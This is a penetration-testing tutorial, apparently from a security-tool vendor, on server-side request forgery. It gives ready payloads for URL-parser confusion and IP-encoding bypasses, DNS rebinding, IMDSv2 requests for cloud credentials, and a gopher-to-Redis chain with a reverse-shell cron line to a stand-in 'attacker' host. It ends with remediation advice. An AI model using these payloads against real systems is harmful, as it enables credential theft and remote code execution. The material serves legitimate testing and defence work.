# SSRF past the easy filters: URL-parser confusion and the metadata endpoint

> The allowlist and the HTTP client parse your URL differently — that gap is where modern SSRF lives. Here's the exact parser-confusion payloads, the IMDSv2 token dance from inside a container, the gopher-to-Redis RCE chain, and why you confirm it out-of-band, not in the response body.

**Key takeaways:**
- The bug isn't the filter — it's that the validator and the fetcher use different URL libraries and disagree about which host is authoritative. `http://expected-host@169.254.169.254/` passes the check and connects to the metadata service.
- Almost all real SSRF is blind: the response body shows nothing. Confirm with an OAST/Interactsh callback sourced from the target's own egress IP, and prefer DNS-only interactions that slip past HTTP egress filtering.
- IMDSv2 is a full-request dance — PUT for a token, then GET with that token — and the default hop limit of 1 means SSRF from inside a container often can't even reach 169.254.169.254. Know the nuance before you write it off.
- gopher:// turns SSRF into raw TCP to internal line-protocol services. Aimed at Redis it writes a cron job and becomes reverse-shell RCE.

**Series:** Bug Class Deep Dives  
**Published:** July 5, 2026 · 8 min read  
**Canonical:** https://crusaderproxy.com/research/en/posts/ssrf-past-the-easy-filters/

---


Server-side request forgery is one of the few bug classes where a single finding hands you cloud credentials. The mechanic is trivial to state — you make a server fetch a URL you control — and every write-up stops there, which is exactly why they're useless. The tutorial payload, `http://169.254.169.254/` pasted into a URL field, has been blocklisted everywhere. The reason SSRF is still one of the most productive bug classes in 2026 isn't that developers forgot to filter. It's that **their filter and their HTTP client read the URL differently, and you live in the gap.**

> **A URL allowlist is a bet that two pieces of code — the validator and the fetcher — agree on which host you asked for. They almost never do. Modern SSRF is the art of finding one string they read two ways.**

## The headline bug: URL-parser confusion

Orange Tsai's *A New Era of SSRF* named the thing everyone had been tripping over: a validator built on one URL library and an HTTP client built on another parse the same string into different hosts. The validator says "this points at `expected-host`, allowed." The client connects to `169.254.169.254`. Both are behaving correctly per their own reading of an ambiguous spec (RFC 3986 leaves real room here). You just need the input that splits them.

The exact payloads, and *why* each one splits the parsers:

```
http://expected-host@169.254.169.254/
```
Userinfo confusion. Everything before the `@` is the `userinfo` component; the real host is after it. A naive validator that greps for the host at the *start* of the string sees `expected-host` and allows it. The HTTP client, parsing correctly, connects to `169.254.169.254` and passes `expected-host` as the (ignored) username.

```
http://169.254.169.254#@expected-host/
```
The fragment trick. A validator that "finds the host by splitting on `@`" grabs `expected-host` from the tail. But `#` starts the fragment — everything after it is discarded by the fetcher, which connects to `169.254.169.254`. The allowlist checks a string the network never sees.

```
http://expected-host\@169.254.169.254/
```
The backslash disagreement. Browsers and Go's `net/url` normalize `\` to `/`, so to them the host is `expected-host` and the rest is a path. Libraries that *don't* normalize the backslash treat `expected-host\` as userinfo and `169.254.169.254` as the host. Validator and fetcher land on different hosts from the same byte string.

```
http://169.254.169.254 &@expected-host
```
Whitespace / control-character injection. A space, tab, or raw CR/LF wedged into the authority makes one parser truncate the host early and another read straight through. Some stacks stop at the space (host = `169.254.169.254`), some split on the `@` (host = `expected-host`), and the disagreement is the bypass.

The root cause is always the same shape: **RFC 3986 ambiguity plus a validator and an HTTP client using two different URL implementations.** When you see an allowlist, don't ask "can I encode around it" first — ask "what parses this, and does the fetcher agree?"

## When it's a blocklist, not an allowlist: IP encodings

If the filter is a string blocklist matching `127.0.0.1` / `localhost` / `169.254.169.254` literally, it falls to the fact that an IP address has many textual forms that all resolve to the same 32 bits:

```
2130706433              decimal for 127.0.0.1
0177.0.0.1              octal first octet
0x7f.0.0.1              hex first octet
127.1                   short form — omitted octets are zero-filled
[::1]                   IPv6 loopback
[::ffff:169.254.169.254]  IPv4-mapped IPv6 — reaches the metadata IP
0.0.0.0                 Linux routes this to localhost
```

The `0.0.0.0` trick is the one people miss: on Linux it routes to loopback, so it reaches your local service while sailing straight past a blocklist that only knows the string `127.0.0.1`. And when the filter resolves the hostname but not the final destination, wildcard-DNS services hand you an internal IP in a public-looking name: `169.254.169.254.nip.io` resolves to `169.254.169.254`, and `localtest.me` resolves to `127.0.0.1`.

## DNS rebinding: a TOCTOU on the resolver

When validation and fetch are two separate DNS lookups, put a **TTL-0** record between them. It resolves to a public, allowed IP the instant the app validates, then to `169.254.169.254` a moment later when the app actually fetches — a time-of-check/time-of-use bug on DNS itself. `rebind` and `singularity` automate the flip. The gotcha that eats a day: **some HTTP clients cache DNS or pin the first resolution for the life of the connection**, so the second lookup never happens and rebinding silently fails. Test whether the client re-resolves before you conclude the target is safe — a failed rebind is information about one client's DNS behavior, not a clean result.

Build your candidate list of URL-taking features from proxy history — this is where [passive recon from proxy history]({{< relref "posts/passive-recon-from-proxy-history.md" >}}) pays off. SSRF hides in webhooks, import-by-URL and avatar-from-URL, PDF / screenshot / thumbnail generators, SSO/OIDC discovery URLs, link unfurlers, and XXE-to-SSRF via XML and SVG parsers.

## Confirming it: OAST, never the response body

The single most important shift for modern SSRF: **stop reading the response.** Most real SSRF is blind — the server fetches your URL and shows you nothing — so a filter-and-eyeball loop misses it entirely. Point the parameter at an out-of-band listener and watch for the callback:

```
POST /api/import HTTP/2
Content-Type: application/json

{"url":"http://k7f2p9.oast.example/"}

# API returns {"status":"queued"} — nothing useful.
# A DNS lookup for k7f2p9.oast.example arriving from the
# target's egress IP is the proof. The response body never mattered.
```

You can also confirm without any callback via **timing**: an internal open port and a closed one produce measurably different response latencies, so a `connect()` that hangs vs. one that refuses fast is a blind port scan of the internal network.

**The detection trap that produces false positives:** a cached or CDN-fronted `200` that merely *echoes* your callback host in the response can look like a hit that isn't one — the CDN resolved your host, not the target's backend. Two rules keep you honest. First, verify the callback's **source IP is the target's infrastructure**, not a shared CDN edge. Second, **prefer DNS-only interactions**: a DNS resolution escapes the HTTP egress filtering that would silently drop an outbound HTTP callback, so DNS confirms cases where HTTP would show nothing and let you wrongly declare the parameter safe.

## Escalation: the metadata endpoint, done correctly

Reaching `169.254.169.254` is the start, not the finding. On AWS, IMDSv1 hands credentials straight to a GET:

```
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

IMDSv2 is where most reports go wrong, because it's a **full-request dance**, not a GET:

```
# 1. PUT to obtain a session token
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

# 2. GET the credentials, presenting that token
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: <token-from-step-1>
```

Two nuances decide whether this works. A GET-only SSRF can't do step 1 at all — you need control of the **method and headers** to PUT for the token. And the **default hop limit on the PUT response is 1**: a request originating inside a container adds a network hop, so the token response dies before it returns and SSRF from inside a container often can't reach the metadata service *even when the parameter is fully vulnerable*. If IMDSv1 hasn't been explicitly disabled it remains a fallback worth checking. GCP is simpler but header-gated: `http://metadata.google.internal/` with `Metadata-Flavor: Google`. Don't report "metadata reachable" — report the credentials you retrieved, or explain precisely why the hop limit or token requirement stopped you.

## Escalation: gopher:// to Redis RCE

`gopher://` is the scheme that turns SSRF into raw TCP against internal line-protocol services — Redis, memcached, SMTP — because it lets you write arbitrary bytes to a socket. Pointed at an unauthenticated Redis, it becomes remote code execution by writing a cron job:

```
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n"
SAVE
```

Each Redis protocol line is URL-encoded into one gopher payload (`%0d%0a` between commands). `CONFIG SET dir` repoints Redis's save directory at cron, `dbfilename root` names the dump file after the crontab, the `SET` stashes a reverse-shell cron line, and `SAVE` flushes it to disk — where cron picks it up and connects back. SSRF to RCE, no auth, one request.

## Remediation

For your report's fix section: URL allowlisting in application code is the thing that fails, because it depends on the validator and the fetcher agreeing. The durable fixes are **resolve the hostname yourself, validate the resolved IP against a denylist of internal ranges, then pin and connect to that exact IP** so no second resolution can rebind; **disable unused URL schemes** (no `gopher://`, `file://`, `dict://`); **enforce IMDSv2 and set the metadata hop limit to 1** so container escapes can't reach it; and **block egress at the network layer** rather than trusting a string check. A filter that parses the URL is racing a client that parses it differently — move the decision to the resolved IP, where there's only one answer.

## The point

SSRF didn't get harder; the naive payloads got filtered, and everyone stopped one layer too early. The bug moved down a level — into the disagreement between the code that checks the URL and the code that fetches it, and into blind cases that never show up in a response body. Wire an out-of-band listener to every URL-taking parameter, let the blind ones announce themselves with a DNS ping, and spend your parser-confusion payloads only on the parameters that already called home. That's the same confused-deputy shape — a trusted context acting on attacker-controlled input — now driving [prompt injection in AI agents]({{< relref "posts/prompt-injection-is-the-new-ssrf.md" >}}).

Crusader ships out-of-band testing (OAST / Interactsh) built in, which is the whole game for blind SSRF: fire the request at a URL-taking parameter, watch for the interaction, and confirm from the callback's source IP that it was the target's server that called home — no response body required. Point it at every webhook, importer, and discovery URL in your history and let the filtered cases confess. [Download Crusader free](https://crusaderproxy.com/#install).


---

*Original research by Crusader Research. Try Crusader free: https://crusaderproxy.com/#install*
